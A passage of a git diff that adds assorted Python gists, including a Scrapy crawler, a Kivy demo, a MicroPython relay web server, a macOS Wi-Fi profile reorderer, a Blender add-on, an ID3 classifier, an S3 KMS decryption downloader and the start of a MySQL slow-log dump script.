+            loader.add_xpath('title', 'a/text()')
+            loader.add_xpath('link', 'a/@href')
+            loader.add_xpath('desc', 'text()')
+            yield loader.load_item()
+
+
+# callback fired when the spider is closed
+def callback(spider, reason):
+    stats = spider.crawler.stats.get_stats()  # collect/log stats?
+
+    # stop the reactor
+    reactor.stop()
+
+
+# instantiate settings and provide a custom configuration
+settings = Settings()
+settings.set('ITEM_PIPELINES', {
+    '__main__.JsonWriterPipeline': 100
+})
+
+# instantiate a crawler passing in settings
+crawler = Crawler(settings)
+
+# instantiate a spider
+spider = DmozSpider()
+
+# configure signals
+crawler.signals.connect(callback, signal=signals.spider_closed)
+
+# configure and start the crawler
+crawler.configure()
+crawler.crawl(spider)
+crawler.start()
+
+# start logging
+log.start()
+
+# start the reactor (blocks execution)
+reactor.run()
\ No newline at end of file
diff --git a/hard-gists/fc3589eeabaee9ac5c05/._snippet.py b/hard-gists/fc3589eeabaee9ac5c05/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fc3589eeabaee9ac5c05/._snippet.py differ
diff --git a/hard-gists/fc3589eeabaee9ac5c05/snippet.py b/hard-gists/fc3589eeabaee9ac5c05/snippet.py
new file mode 100644
index 00000000..1d42c833
--- /dev/null
+++ b/hard-gists/fc3589eeabaee9ac5c05/snippet.py
@@ -0,0 +1,30 @@
+import kivy
+kivy.require('1.8.1')
+
+from kivy.app import App
+from kivy.lang import Builder
+from kivy.clock import Clock
+from kivy.utils import interpolate
+from time import time
+
+root = Builder.load_string('''
+Button:
+''')
+
+class TestApp(App):
+    def build(self):
+        return root
+    
+    def on_start(self):
+        self.starttime = time()
+        Clock.schedule_interval(self.update, 0)
+    
+    def update(self, *args):
+        t = time() - self.starttime
+        ft = 1 - abs(t % 2 - 1)
+        color = interpolate((1, 0, 0, 1), (0, 0, 1, 1), 1. / ft)
+        self.root.background_color = color
+    
+
+if __name__ == '__main__':
+    TestApp().run()
diff --git a/hard-gists/fcb9409ef1c1835fa5fb25a860991751/._snippet.py b/hard-gists/fcb9409ef1c1835fa5fb25a860991751/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fcb9409ef1c1835fa5fb25a860991751/._snippet.py differ
diff --git a/hard-gists/fcb9409ef1c1835fa5fb25a860991751/snippet.py b/hard-gists/fcb9409ef1c1835fa5fb25a860991751/snippet.py
new file mode 100644
index 00000000..14adfd70
--- /dev/null
+++ b/hard-gists/fcb9409ef1c1835fa5fb25a860991751/snippet.py
@@ -0,0 +1,66 @@
+import machine
+import socket
+import ure
+
+RELAYS = [machine.Pin(i, machine.Pin.OUT) for i in (12, 13, 14, 15)]
+
+def getPinStatus():
+  return RELAYS
+
+def setPin(pin, value):
+  RELAYS[int(pin)].value(int(value))  
+  return "PIN %s set to %s" % (pin, value)
+  
+def parseURL(url):
+  #PARSE THE URL AND RETURN THE PATH AND GET PARAMETERS
+  parameters = {}
+  
+  path = ure.search("(.*?)(\?|$)", url) 
+  
+  while True:
+    vars = ure.search("(([a-z0-9]+)=([a-z0-8.]*))&?", url)
+    if vars:
+      parameters[vars.group(2)] = vars.group(3)
+      url = url.replace(vars.group(0), '')
+    else:
+      break
+
+  return path.group(1), parameters
+
+def buildResponse(response):
+  # BUILD DE HTTP RESPONSE HEADERS
+  return '''HTTP/1.0 200 OK\r\nContent-type: text/html\r\nContent-length: %d\r\n\r\n%s''' % (len(response), response)
+    
+addr = socket.getaddrinfo('0.0.0.0', 80)[0][-1]
+
+s = socket.socket()
+s.bind(addr)
+s.listen(1)
+
+print('listening on', addr)
+
+while True:
+    cl, addr = s.accept()
+    print('client connected from', addr)
+    request = str(cl.recv(1024))
+    print("REQUEST: ", request)
+
+    obj = ure.search("GET (.*?) HTTP\/1\.1", request)
+    print(obj.group(1))
+    
+    if not obj:
+      cl.send(buildResponse("INVALID REQUEST"))
+    else:
+      path, parameters = parseURL(obj.group(1))
+      if path.startswith("/getPinStatus"):
+        cl.send(buildResponse("RELAY STATUS:\n%s" % "\n".join([str(x.value()) for x in getPinStatus()])))
+        
+      elif path.startswith("/setPinStatus"):
+        pin = parameters.get("pin", None)
+        value= parameters.get("value", None)
+        
+        cl.send(buildResponse("SET RELAY:\n%s" % setPin(pin, value)))
+      else:
+        cl.send(buildResponse("UNREGISTERED ACTION\r\nPATH: %s\r\nPARAMETERS: %s" % (path, parameters)))
+        
+    cl.close()
\ No newline at end of file
diff --git a/hard-gists/fcbdd3924ee230592ab4/._snippet.py b/hard-gists/fcbdd3924ee230592ab4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fcbdd3924ee230592ab4/._snippet.py differ
diff --git a/hard-gists/fcbdd3924ee230592ab4/snippet.py b/hard-gists/fcbdd3924ee230592ab4/snippet.py
new file mode 100644
index 00000000..f17591b5
--- /dev/null
+++ b/hard-gists/fcbdd3924ee230592ab4/snippet.py
@@ -0,0 +1,58 @@
+#!/usr/bin/python
+
+# As written, this requires the following:
+# - OS X 10.6+ (may not work in 10.10, haven't tested)
+# - python 2.6 or 2.7 (for collections.namedtuple usage, should be fine as default python in 10.6 is 2.6)
+# - pyObjC (as such, recommended to be used with native OS X python install)
+
+# Only tested and confirmed to work against 10.9.5
+# Run with root
+
+import objc, ctypes.util, os.path, collections
+from Foundation import NSOrderedSet
+
+preferred_SSID    = 'This SSID Should Be First'
+next_to_last_SSID = 'This SSID Should Be Next To Last'
+last_SSID         = 'This SSID Should be Last'
+
+def load_objc_framework(framework_name):
+    # Utility function that loads a Framework bundle and creates a namedtuple where the attributes are the loaded classes from the Framework bundle
+    loaded_classes = dict()
+    framework_bundle = objc.loadBundle(framework_name, bundle_path=os.path.dirname(ctypes.util.find_library(framework_name)), module_globals=loaded_classes)
+    return collections.namedtuple('AttributedFramework', loaded_classes.keys())(**loaded_classes)
+
+# Load the CoreWLAN.framework (10.6+)
+CoreWLAN = load_objc_framework('CoreWLAN')
+
+# Load all available wifi interfaces
+interfaces = dict()
+for i in CoreWLAN.CWInterface.interfaceNames():
+    interfaces[i] = CoreWLAN.CWInterface.interfaceWithName_(i)
+
+# Repeat the configuration with every wifi interface
+for i in interfaces.keys():
+    # Grab a mutable copy of this interface's configuration
+    configuration_copy = CoreWLAN.CWMutableConfiguration.alloc().initWithConfiguration_(interfaces[i].configuration())
+    # Find all the preferred/remembered network profiles
+    profiles = list(configuration_copy.networkProfiles())
+    # Grab all the SSIDs, in order
+    SSIDs = [x.ssid() for x in profiles]
+    # Check to see if our preferred SSID is in the list
+    if (preferred_SSID in SSIDs):
+        # Apparently it is, so let's adjust the order
+        # Profiles with matching SSIDs will move to the front, the rest will remain at the end
+        # Order is preserved, example where 'ssid3' is preferred:
+        #    Original: [ssid1, ssid2, ssid3, ssid4]
+        #   New order: [ssid3, ssid1, ssid2, ssid4]
+        profiles.sort(key=lambda x: x.ssid() == preferred_SSID, reverse=True)
+        # Now we move next_to_last_SSID to the end
+        profiles.sort(key=lambda x: x.ssid() == next_to_last_SSID, reverse=False)
+        # Now we move last_SSID to the end (bumping next_to_last_SSID)
+        profiles.sort(key=lambda x: x.ssid() == last_SSID, reverse=False)
+        # Now we have to update the mutable configuration
+        # First convert it back to a NSOrderedSet
+        profile_set = NSOrderedSet.orderedSetWithArray_(profiles)
+        # Then set/overwrite the configuration copy's networkProfiles
+        configuration_copy.setNetworkProfiles_(profile_set)
+        # Then update the network interface configuration
+        result = interfaces[i].commitConfiguration_authorization_error_(configuration_copy, None, None)
diff --git a/hard-gists/fd65891daf183d99d91cb83b89e2a4c7/._snippet.py b/hard-gists/fd65891daf183d99d91cb83b89e2a4c7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fd65891daf183d99d91cb83b89e2a4c7/._snippet.py differ
diff --git a/hard-gists/fd65891daf183d99d91cb83b89e2a4c7/snippet.py b/hard-gists/fd65891daf183d99d91cb83b89e2a4c7/snippet.py
new file mode 100644
index 00000000..a94991e7
--- /dev/null
+++ b/hard-gists/fd65891daf183d99d91cb83b89e2a4c7/snippet.py
@@ -0,0 +1,117 @@
+# -*- coding: utf-8 -*-
+
+# ##### BEGIN GPL LICENSE BLOCK #####
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the terms of the GNU General Public License
+#  as published by the Free Software Foundation; either version 2
+#  of the License, or (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program; if not, write to the Free Software Foundation,
+#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# ##### END GPL LICENSE BLOCK #####
+
+bl_info = {
+    "name": "lathe",
+    "author": "Laurent Laget",
+    "version": (0, 9,3),
+    "blender": (2, 78, 0),
+    "location": "Add > Mesh",
+    "description": "Create a lathe",
+    "warning": "",
+    "wiki_url": "",
+    "category": "Add Mesh",
+    }
+
+import bpy
+
+def main(context):
+    for ob in context.scene.objects:
+        print(ob)
+
+#Define functions for modifiers stack
+def modifierstack():
+        #create screw modifier and setup
+        bpy.ops.object.modifier_add(type='SCREW')
+        bpy.context.object.modifiers["Screw"].steps = 64
+        bpy.context.object.modifiers["Screw"].render_steps = 64
+        bpy.context.object.modifiers["Screw"].use_normal_flip = True
+
+        #create solidify modifier and setup
+        bpy.ops.object.modifier_add(type='SOLIDIFY')
+        bpy.context.object.modifiers["Solidify"].thickness = 0.1
+
+        #create edgesplit modifier and setup
+        bpy.ops.object.modifier_add(type='EDGE_SPLIT')
+        bpy.context.object.modifiers["EdgeSplit"].show_viewport = False
+        bpy.context.object.modifiers["EdgeSplit"].show_render = False
+
+#classe lathe
+class lathe(bpy.types.Operator):
+    """Create a lathe object"""
+    bl_idname = "object.lathe"
+    bl_label = "Lathe"
+    bl_options = {'REGISTER', 'UNDO'}
+   
+
+    def invoke(self, context, event):
+        
+        #init front view, create a cube, name it, toggle edit mode and delete all to start from scratch
+        bpy.ops.view3d.viewnumpad(type='FRONT')
+        bpy.ops.mesh.primitive_cube_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
+        bpy.context.object.name = "Lathe"
+        bpy.ops.object.editmode_toggle()
+        bpy.ops.mesh.delete(type='VERT')
+        
+        #create first vertex at cursor
+        bpy.ops.mesh.primitive_vert_add()
+        
+        modifierstack()
+        bpy.context.object.modifiers["Screw"].use_normal_calculate = True
+
+        return {'FINISHED'}
+
+#classe lathe_libre
+class lathe_libre(bpy.types.Operator):
+    """Create a lathe object with free draw"""
+    bl_idname = "object.lathe_libre"
+    bl_label = "Lathe_libre"
+    bl_options = {'REGISTER', 'UNDO'}
+   
+    def invoke(self, context, event):
+        
+        #init front view, create a curve, name it, toggle edit mode and delete all to start from scratch
+        bpy.ops.view3d.viewnumpad(type='FRONT')
+        bpy.ops.curve.primitive_bezier_curve_add(view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
+        bpy.context.object.name = "Lathe_libre"
+        bpy.ops.object.editmode_toggle()
+        bpy.ops.curve.delete(type='VERT')
+        
+        modifierstack()
+
+        return {'FINISHED'}
+
+#definition of the names and operators 
+def menu_item(self, context):
+       self.layout.operator(lathe.bl_idname, text="lathe", icon="PLUGIN")
+       self.layout.operator(lathe_libre.bl_idname, text="lathe_libre", icon="PLUGIN")
+
+#add the names and operators to mesh add menu
+def register():
+    bpy.utils.register_module(__name__)
+    bpy.types.INFO_MT_mesh_add.append(menu_item)
+
+#Unregister the names and operators from mesh add menu
+def unregister():
+    bpy.utils.unregister_module(__name__)
+    bpy.types.INFO_MT_mesh_add.remove(menu_item)
+
+if __name__ == "__main__":
+    register()
diff --git a/hard-gists/fd9ee43167f5cc1da130/._snippet.py b/hard-gists/fd9ee43167f5cc1da130/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fd9ee43167f5cc1da130/._snippet.py differ
diff --git a/hard-gists/fd9ee43167f5cc1da130/snippet.py b/hard-gists/fd9ee43167f5cc1da130/snippet.py
new file mode 100644
index 00000000..3a1b7325
--- /dev/null
+++ b/hard-gists/fd9ee43167f5cc1da130/snippet.py
@@ -0,0 +1,162 @@
+"""
+
+http://en.wikipedia.org/wiki/ID3_algorithm
+http://www.cise.ufl.edu/~ddd/cap6635/Fall-97/Short-papers/2.htm
+
+"""
+
+from collections import namedtuple, Counter, defaultdict
+from math import log2
+
+
+UNCLASSIFIED_VALUE = -99
+
+
+class ID3Classifier(object):
+
+    def __init__(self):
+        self.root_node = None
+
+    def fit(self, samples, target):
+        """Create the decision tree."""
+
+        training_samples = [TrainingSample(s, t)
+                            for s, t in zip(samples, target)]
+        predicting_features = list(range(len(samples[0])))
+        self.root_node = self.create_decision_tree(training_samples,
+                                                   predicting_features)
+
+    def predict(self, X, allow_unclassified=False):
+        default_klass = 1
+        if allow_unclassified:
+            default_klass = UNCLASSIFIED_VALUE
+        predicted_klasses = []
+
+        for sample in X:
+            klass = None
+            current_node = self.root_node
+            while klass is None:
+                if current_node.is_leaf():
+                    klass = current_node.klass
+                else:
+                    key_value = sample[current_node.feature]
+                    if key_value in current_node:
+                        current_node = current_node[key_value]
+                    else:
+                        # UNCLASSIFIED_VALUE
+                        klass = default_klass
+            predicted_klasses.append(klass)
+        return predicted_klasses
+
+    def score(self, X, target, allow_unclassified=True):
+        predicted = self.predict(X, allow_unclassified=allow_unclassified)
+        n_matches = sum(p == t for p, t in zip(predicted, target))
+        return 1.0 * n_matches / len(X)
+
+    def create_decision_tree(self, training_samples, predicting_features):
+        """Recursively, create a desition tree and return the parent node."""
+
+        if not predicting_features:
+            # No more predicting features
+            default_klass = self.get_most_common_class(training_samples)
+            root_node = DecisionTreeLeaf(default_klass)
+        else:
+            klasses = [sample.klass for sample in training_samples]
+            if len(set(klasses)) == 1:
+                target_klass = training_samples[0].klass
+                root_node = DecisionTreeLeaf(target_klass)
+            else:
+                best_feature = self.select_best_feature(training_samples,
+                                                        predicting_features,
+                                                        klasses)
+                # Create the node to return and create the sub-tree.
+                root_node = DecisionTreeNode(best_feature)
+                best_feature_values = {s.sample[best_feature]
+                                       for s in training_samples}
+                for value in best_feature_values:
+                    samples = [s for s in training_samples
+                               if s.sample[best_feature] == value]
+                    # Recursively, create a child node.
+                    child = self.create_decision_tree(samples,
+                                                      predicting_features)
+                    root_node[value] = child
+        return root_node
+
+    @staticmethod
+    def get_most_common_class(trainning_samples):
+        """Return the most common class in the given samples."""
+
+        klasses = [s.klass for s in trainning_samples]
+        counter = Counter(klasses)
+        k, = counter.most_common(n=1)
+        return k[0]
+
+    def select_best_feature(self, samples, features, klasses):
+        """
+        Select, remove from list and return the feature that best classifies
+        the samples.
+
+        The best feature is the one with higher information gain for the
+        provided samples (mimizes entropy in klasses).
+
+        """
+        gain_factors = [(self.information_gain(samples, feat, klasses), feat)
+                        for feat in features]
+        gain_factors.sort()
+        best_feature = gain_factors[-1][1]
+        features.pop(features.index(best_feature))
+        return best_feature
+
+    def information_gain(self, samples, feature, klasses):
+        """
+        Information gain is the measure of the difference in entropy from before
+        to after the samples are split on the given feature values. In other
+        words, how much uncertainty in the samples was reduced after splitting
+        them on the given feature.
+
+        """
+        N = len(samples)
+        samples_partition = defaultdict(list)
+        for s in samples:
+            samples_partition[s.sample[feature]].append(s)
+        feature_entropy = 0.0
+        for partition in samples_partition.values():
+            sub_klasses = [s.klass for s in partition]
+            feature_entropy += (len(partition) / N) * self.entropy(sub_klasses)
+
+        return self.entropy(klasses) - feature_entropy
+
+    @staticmethod
+    def entropy(dataset):
+        """Measure of the amount of uncertainty in the given dataset."""
+
+        N = len(dataset)
+        counter = Counter(dataset)
+        return sum(-1.0*(counter[k] / N)*log2(counter[k] / N) for k in counter)
+
+
+TrainingSample = namedtuple('TrainingSample', ('sample', 'klass'))
+
+
+class DecisionTreeNode(dict):
+    def __init__(self, feature, *args, **kwargs):
+        self.feature = feature
+        super(DecisionTreeNode, self).__init__(*args, **kwargs)
+
+    def is_leaf(self):
+        return False
+
+    def __repr__(self):
+        return "%s(%s)" % (self.__class__.__name__, self.feature)
+
+
+class DecisionTreeLeaf(dict):
+    def __init__(self, klass, *args, **kwargs):
+        self.klass = klass
+        super(DecisionTreeLeaf, self).__init__(*args, **kwargs)
+
+    def is_leaf(self):
+        return True
+
+    def __repr__(self):
+        return "%s(%s)" % (self.__class__.__name__, self.klass)
diff --git a/hard-gists/fda9fd2a7a1e0bc458650ec4c3a0bf93/._snippet.py b/hard-gists/fda9fd2a7a1e0bc458650ec4c3a0bf93/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fda9fd2a7a1e0bc458650ec4c3a0bf93/._snippet.py differ
diff --git a/hard-gists/fda9fd2a7a1e0bc458650ec4c3a0bf93/snippet.py b/hard-gists/fda9fd2a7a1e0bc458650ec4c3a0bf93/snippet.py
new file mode 100644
index 00000000..97eb0772
--- /dev/null
+++ b/hard-gists/fda9fd2a7a1e0bc458650ec4c3a0bf93/snippet.py
@@ -0,0 +1,337 @@
+#!/usr/bin/env python
+###############################################################################
+# This script downloads an object from AWS S3.  If the object was encrypted,
+# it will be decrypted on the client side using KMS envelope encryption.
+#
+# Envelope encryption fetches a data key from KMS and uses it to encrypt the
+# file.  The encrypted file is uploaded to an S3 bucket along with an encrypted
+# version of the data key (it's encrypted with a KMS main key).  You must
+# have access to the KMS main key to decrypt the data key and file.  To
+# decrypt, the file is downloaded to the client, the encrypted data key is
+# decrypted by AWS KMS, and the data key is used to decrypt the file.
+#
+# The S3 object is downloaded in parts with multiple threads, each thread
+# downloading a different part.  Each part is then CBC-decrypted with the
+# attached data key (if it exists).  Processing in parts allows large files
+# to be downloaded/decrypted without requiring large amounts of memory, and
+# improves performance by downloading multiple parts in parallel.
+#
+# Usage:
+#   s3_get -p aws_profile -f output_file -b s3_bucket -s s3_key
+#          [-m metadata_file] [-t threads] [-d debug_level]
+#
+# Parameter descriptions:
+#   aws_profile:   name of your AWS profile
+#   output_file:   output file name
+#   s3_bucket:     name of the S3 bucket where your object exists
+#   s3_key:        key (path/name) of the S3 object to be downloaded
+#   metadata_file: write S3 object metadata, if it exists, to this file
+#   threads:       number of threads used to download file parts from S3
+#   debug_level:   default is INFO
+#
+# Examples:
+#   s3_get.py -p GR_GG_COF_AWS_Techops_Dev_Developer
+#     -f local_file.dat -b s3_bucket_name -s s3_key_name
+###############################################################################
+
+from __future__ import print_function
+import os
+import sys
+import argparse
+import logging
+import time as t
+import datetime as dt
+import base64
+import json
+import threading
+import gc
+import traceback
+import boto3
+import botocore
+from botocore.client import Config
+from Crypto.Cipher import AES
+
+class ReadException(Exception):
+    pass
+
+def pad_pkcs7(s):
+    ''' PKCS7 adds bytes with each having the value of the padding length '''
+    pad_len = AES.block_size - (len(s) % AES.block_size)
+    return s + pad_len * chr(pad_len)
+
+def unpad_pkcs7(s):
+    return s[0:-ord(s[-1])]
+
+def current_ts():
+    return int((dt.datetime.utcnow().replace(microsecond=0) -
+                dt.datetime(1970,1,1).replace(microsecond=0)).total_seconds())
+
+def main():
+    class Parts(object):
+        ''' Download an S3 object in multiple parts, each in a different
+            thread.  Decrypts if the object is encrypted.
+        '''
+        def __init__(self):
+            self.num_s3_parts = int(s3_object['PartsCount'])
+            self.max_running = args.threads
+            logging.info("S3 object parts: %d" % self.num_s3_parts)
+            logging.info("Max running threads: %d" % self.max_running)
+            self.parts = ['0-index not used']  # S3 part numbers are 1-relative
+            self.total_size_read = 0
+            self.total_read_secs = 0
+            self.max_read_secs = 0
+
+        def num_parts(self):
+            return len(self.parts) - 1
+
+        def num_running(self):
+            return len([p for p in self.parts[1:] if p['status'] == 'RUNNING'])
+
+        def num_downloaded(self):
+            return len([p for p in self.parts[1:]
+                       if p['status'] in ['DOWNLOADED','WRITTEN']])
+
+        def num_written(self):
+            return len([p for p in self.parts[1:] if p['status'] == 'WRITTEN'])
+
+        def num_failed(self):
+            return len([p for p in self.parts[1:] if p['status'] == 'FAILED'])
+
+        def download_part(self, part_num):
+            ''' Download a specific part of the S3 object '''
+            try:
+                logging.debug("Starting thread %d" % part_num)
+                part = s3.get_object(Bucket=args.bucket, Key=args.s3_key,
+                                     PartNumber=part_num)
+                before_read = current_ts()
+                '''
+                # Try to read the part up to 5 times, then give up.
+                for i in range(5):
+                    try:
+                        data = part['Body'].read()
+                        a = self.parts[1000]
+                    except Exception as e:
+                        logging.warn("Could not read S3, attempt %d" % (i+1))
+                        traceback.print_exc()
+                        data = ""
+                    else:
+                        break
+                '''
+                data = part['Body'].read()
+                self.parts[part_num]['time'] = current_ts() - before_read
+                if len(data) != part['ContentLength']:
+                    logging.error("Expected %d bytes, got %d!" %
+                                  (len(data), part['ContentLength']))
+                    raise ReadException
+                self.parts[part_num]['data'] = data
+                self.parts[part_num]['status'] = 'DOWNLOADED'
+                logging.debug("Ending thread %d, size %d" %
+                              (part_num, len(data)))
+            except Exception as e:
+                self.parts[part_num]['status'] = 'FAILED'
+                logging.error("Thread %d failed" % part_num)
+                traceback.print_exc()
+
+        def start_thread(self):
+            ''' Start a new thread to download a part of the S3 object '''
+            part_num = len(self.parts)
+            new_thread = threading.Thread(name="Thread"+str(part_num),
+                                          target=self.download_part,
+                                          args=(part_num,))
+            self.parts.append({'thread':new_thread,
+                               'time':0,
+                               'data':None,
+                               'status':'RUNNING'})
+            new_thread.start()
+
+        def write_part(self, part_num):
+            ''' Write the part to the file.  All parts must be written in
+                order.
+            '''
+            part = self.parts[part_num]
+            if aes_cipher:
+                logging.debug("Decrypting part %d" % part_num)
+                part['data'] = aes_cipher.decrypt(part['data'])
+                if part_num == self.num_s3_parts:
+                    # The last part is padded to a 16-byte boundary.  The
+                    # padding must be removed.
+                    logging.debug("Removing padding from part %d" % part_num)
+                    part['data'] = unpad_pkcs7(part['data'])
+            logging.debug("Writing part %d" % part_num)
+            fout.write(part['data'])
+
+        def collect_thread(self):
+            ''' Collect each thread write the file part, in order.
+                Decrypt each part if the object is encrypted.  Garbage collect
+                to prevent large amount of memory usage when the file is large.
+            '''
+            part_num = self.num_written()+1
+            if (self.num_parts() >= part_num and
+                self.parts[part_num]['status'] == 'DOWNLOADED'
+               ):
+                part = self.parts[part_num]
+                logging.debug("Downloaded part %d in %d seconds" % (
+                              part_num, part['time']))
+                self.max_read_secs = (
+                    part['time'] if part['time'] > self.max_read_secs
+                    else self.max_read_secs)
+                self.total_read_secs += part['time']
+                self.total_size_read += len(part['data'])
+                self.write_part(part_num)
+                part['status'] = 'WRITTEN'
+                part['data'] = None
+                gc.collect()  # Clean-up unreferenced data.
+                return True
+            else:
+                return False
+
+        def download_and_decrypt(self):
+            ''' Manages threads used to download each part of the S3 object,
+                decrypt, and write to disk/stdout.
+            '''
+            # Loop until any child thread fails or all parts have been written.
+            while (self.num_failed() == 0 and
+                   self.num_written() < self.num_s3_parts):
+                # Start a new thread if...
+                #  1) We're running fewer than the max allowed
+                #  2) There are still more parts to process
+                if (self.num_running() < self.max_running and
+                    self.num_parts() < self.num_s3_parts
+                   ):
+                    self.start_thread()
+                    # If the number of parts written is less than the number of
+                    # parts downloaded - 300, then collect a thread.  This is
+                    # important, because sometimes threads will finish faster
+                    # than new threads can start (seems like that shouldn't
+                    # happen, but it can) and without this step we'll never
+                    # run the max number of threads and no threads will be
+                    # collected until all have finished.  That's okay for small
+                    # files, but not for very large files because the memory
+                    # for each part isn't released until the thread has been
+                    # collected and not releasing memory will cause problems
+                    # when the file is extremely large.
+                    if self.num_written() < self.num_downloaded() - 300:
+                        self.collect_thread()
+                elif not self.collect_thread():
+                    # Sleep if a thread was not started nor collected.
+                    t.sleep(5)
+                logging.info("parts: total %d, started %d, running %d, "
+                             "downloaded %d, written %d" %
+                             (self.num_s3_parts, self.num_parts(),
+                              self.num_running(), self.num_downloaded(),
+                              self.num_written()))
+
+            fout.close()
+            if self.num_failed() == 0:
+                logging.info("All parts downloaded: total_size_read %d, "
+                    "max_read_secs %d, avg_read_secs %d" % (
+                    self.total_size_read, self.max_read_secs,
+                    int(self.total_read_secs/self.num_s3_parts)))
+            else:
+                if args.file:
+                    os.unlink(args.file)
+            return self.num_failed()
+
+    # Get arguments
+    aparser = argparse.ArgumentParser()
+    aparser.add_argument("-p", "--profile", required=True, help="AWS profile")
+    aparser.add_argument("-f", "--file", required=True,
+        help="name of file to be created with the S3 object")
+    aparser.add_argument("-b", "--bucket", required=True, help="S3 bucket")
+    aparser.add_argument("-s", "--s3_key", required=True, help="S3 key")
+    aparser.add_argument("-m", "--metadata_file",
+        help="name of local file to be created with S3 object metadata")
+    aparser.add_argument("-t", "--threads", type=int, default=5,
+        help="number of threads for parallel download")
+    aparser.add_argument("-d", "--debug_level", default="INFO",
+        help="debug level (default is INFO)")
+    args = aparser.parse_args()
+
+    # Configure logging
+    cformat = "%(threadName)s:%(asctime)s:%(levelname)s:%(message)s"
+    cdatefmt = "%Y-%m-%dT%H:%M:%SZ"
+    logging.Formatter.converter = t.gmtime
+    logging.basicConfig(format=cformat, datefmt=cdatefmt, stream=sys.stdout,
+                        level=args.debug_level)
+    #logging.getLogger("boto3").setLevel(logging.INFO)
+    #logging.getLogger("botocore").setLevel(logging.INFO)
+
+    if not (os.environ.get('http_proxy') and os.environ.get('https_proxy')):
+        logging.error("http_proxy and https_proxy must be set")
+        sys.exit(1)
+
+    logging.info("profile: %s", args.profile)
+    logging.info("file: %s", args.file)
+    logging.info("bucket: %s", args.bucket)
+    logging.info("s3_key: %s", args.s3_key)
+    logging.info("metadata_file: %s", args.metadata_file)
+    args.threads = min(10, args.threads)   # max 10 threads
+    logging.info("threads: %d", args.threads)
+
+    # Create AWS session for the given profile.
+    session = boto3.Session(profile_name=args.profile)
+    s3 = session.client('s3', config=Config(signature_version='s3v4',
+                                            read_timeout=300))
+
+    # Get object info from S3.
+    logging.info("Getting object metadata from s3://%s/%s" %
+                 (args.bucket, args.s3_key))
+    s3_object = s3.get_object(Bucket=args.bucket, Key=args.s3_key,
+                              PartNumber=1)
+
+    # Look for encryption-metadata in an accompanying .instruction S3 object.
+    # If it does not exist, then look for encryption-metadata attached to the
+    # S3 object.
+    try:
+        s3_object_metadata = s3.get_object(Bucket=args.bucket,
+                                           Key=args.s3_key+'.instruction')
+    except botocore.exceptions.ClientError as e:
+        metadata = s3_object['Metadata']
+        logging.info("Found metadata attached to S3 object")
+        '''
+        if e.response['Error']['Code'] != 'NoSuchKey':
+            print("Unexpected error: %s" % e)
+            sys.exit(2)
+        '''
+    else:
+        metadata = json.loads(s3_object_metadata['Body'].read())
+        logging.info("Found metadata in .instruction file")
+
+    # Get the data key and initialization vector from metadata.
+    try:
+        key = metadata['x-amz-key-v2']
+        iv = metadata['x-amz-iv']
+        encryption_context = json.loads(metadata['x-amz-matdesc'])
+    except KeyError as e:
+        key, iv, encryption_context = None, None, None
+
+    # If the metadata indicates that the object is encrypted, then initialize
+    # the decryption object.
+    if key and iv and encryption_context:
+        logging.info("Decrypting data key from AWS KMS...")
+        kms = session.client('kms')
+        data_key = kms.decrypt(CiphertextBlob=base64.b64decode(key),
+                               EncryptionContext=encryption_context)
+        aes_cipher = AES.new(data_key['Plaintext'], mode=AES.MODE_CBC,
+                             IV=base64.b64decode(iv))
+    else:
+        logging.info("Metadata does not include encryption values; "
+                     "assuming that the S3 object is not encrypted.")
+        aes_cipher = None
+
+    # Initiate the process to download and decrypt the S3 object.
+    logging.info("Downloading parts of data from s3://%s/%s..." %
+                 (args.bucket, args.s3_key))
+    fout = open(args.file, "wb")
+    parts = Parts()
+    if parts.download_and_decrypt() != 0:
+        sys.exit(5)
+    else:
+        # Write the metadata to a file.
+        if metadata and args.metadata_file:
+            logging.info("Writing metadata to %s" % args.metadata_file)
+            with open(args.metadata_file, "w") as mf:
+                mf.write(json.dumps(metadata))
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/fdff82cc02b161d0141d/._snippet.py b/hard-gists/fdff82cc02b161d0141d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fdff82cc02b161d0141d/._snippet.py differ
diff --git a/hard-gists/fdff82cc02b161d0141d/snippet.py b/hard-gists/fdff82cc02b161d0141d/snippet.py
new file mode 100644
index 00000000..2d1b8380
--- /dev/null
+++ b/hard-gists/fdff82cc02b161d0141d/snippet.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python2
+
+"""
+Queries the slowlog database table and outputs it in
+the normal MySQL slow log text format.
+
+Run this script by:
+python /path/to/slow_log_dump.py dbip dbport dbusr dbpwd [start_time] [end_time] > /path/to/slow_log_dump.log
+
+Then you can run the normal mysqldumpslow parser on the output file (slow_log_dump.log)
+Example (print the top 40 slow queries by time):
+mysqldumpslow -t 40 -s t /path/to/slow_log_dump.log
+
+"""
+
+import sys, os
+import random
+import time
+import MySQLdb
+
+if __name__ == "__main__":
+ 
+    argc = len(sys.argv)
+    if argc < 5:
+        print "usage:%s dbip dbport dbusr dbpwd [start_time] [end_time]" % sys.argv[0]
+        print "example:%s 127.0.0.1 3306 root root '2014-1-1' '2014-1-2'" % sys.argv[0]
+        exit(1)
+ 
+    dbip = sys.argv[1]
+    dbport = int(sys.argv[2])
+    dbusr = sys.argv[3]
+    dbpwd = sys.argv[4]
+    start_time = ""
+    if argc > 5:
+        start_time = sys.argv[5]
+    end_time = ""
+    if argc > 6:
